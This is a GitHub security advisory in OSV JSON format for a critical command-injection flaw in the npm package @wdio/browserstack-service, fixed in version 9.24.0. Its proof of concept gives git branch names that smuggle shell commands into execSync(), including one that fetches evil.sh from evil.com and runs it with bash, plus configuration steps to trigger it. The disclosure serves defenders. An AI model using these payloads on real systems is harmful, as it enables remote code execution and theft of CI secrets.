CVE-2026-25244: @wdio/browserstack service WebdriverIO BrowserStack Service Has A Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-5c46-x3qw-q7j7",
  "modified" : "2026-05-19T16:08:59Z",
  "published" : "2026-05-11T17:53:46Z",
  "aliases" : [ "CVE-2026-25244" ],
  "summary" : "WebdriverIO BrowserStack Service has a Command Injection issue",
  "details" : "### Summary\nA command injection vulnerability exists in `@wdio/browserstack-service` that allows remote code execution (RCE) when processing git branch names in test orchestration. An attacker can exploit this by providing a malicious git repository with a branch name containing shell command injection payloads.\n\n### Details\n_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._\n\n### Vulnerable Code\n**File**:  https://github.com/webdriverio/webdriverio/blob/ea0e3e00288abced4c739ff9e46c46977b7cdbd2/packages/wdio-browserstack-service/src/testorchestration/helpers.ts#L204\n\n### Root Cause\nUser-controlled git branch names are directly interpolated into `execSync()` calls without sanitization. Git allows branch names to contain special characters ,that can be used for command injection.\nGit allows to create these branches.\n```\ngit checkout -b \"main;touch\\${IFS}/tmp/pwned.txt;echo\\${IFS}PWNED\"\ngit checkout -b \"main;rm\\${IFS}/tmp/pwned.txt;echo\\${IFS}PWNED\"\ngit checkout -b \"main;curl\\${IFS}evil.com/evil.sh\\${IFS}>/tmp/evil.sh;bash\\${IFS}/tmp/evil.sh;echo\\${IFS}PWNED\"\n```\n\n\n### Attack Vector\n1. Attacker creates a malicious git repository with a branch name containing command injection payload\n2. Attacker configures WebdriverIO to use this repository via `testOrchestrationOptions.runSmartSelection.source`. if `source` is not provided it takes current directory as `source`.\n3. When `getGitMetadataForAISelection()` executes, it extracts the malicious branch name\n4. Branch name is interpolated into shell commands without sanitization\n5. Shell interprets special characters and executes attacker's commands\n\n### PoC\n### Step 1: Create Malicious Repository Branch\n```\ngit checkout -b \"main;touch\\${IFS}/tmp/pwned.txt;echo\\${IFS}PWNED\"\n```\n\n### Step 2: Configure WebdriverIO\n\n```javascript\n// wdio.conf.js\nexport const config = {\n    services: [\n        ['browserstack', {\n            user: process.env.BROWSERSTACK_USERNAME,\n            key: process.env.BROWSERSTACK_ACCESS_KEY,\n            testOrchestrationOptions: {\n                runSmartSelection: {\n                    enabled: true,\n                    source: ['/tmp/malicious-repo']  // ⚠️ Points to malicious repo, without \"source\" field, it runs in the current directory.\n                }\n            }\n        }]\n    ],\n    // ... rest of config\n}\n```\n### Step 3: Run Tests\n\n```bash\nnpm run wdio\n```\n### Step 4: Verify RCE\n\n```bash\n# Check if file was created (proof of RCE)\nls -la /tmp/pwned.txt\n```\n\n### Impact\n\n- **Remote Code Execution** on CI/CD servers or developer machines\n- **Information Disclosure** (environment variables, secrets, credentials)\n- **Data Exfiltration** (source code, SSH keys, configuration files)\n- **System Compromise** (backdoor installation, lateral movement)\n- **Supply Chain Attack** (modify build artifacts)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@wdio/browserstack-service"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "9.24.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 9.23.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/webdriverio/webdriverio/security/advisories/GHSA-5c46-x3qw-q7j7"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-25244"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/webdriverio/webdriverio"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/webdriverio/webdriverio/blob/ea0e3e00288abced4c739ff9e46c46977b7cdbd2/packages/wdio-browserstack-service/src/testorchestration/helpers.ts#L204"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/webdriverio/webdriverio/releases/tag/v9.24.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-78" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-11T17:53:46Z",
    "nvd_published_at" : "2026-05-18T21:16:39Z"
  }
}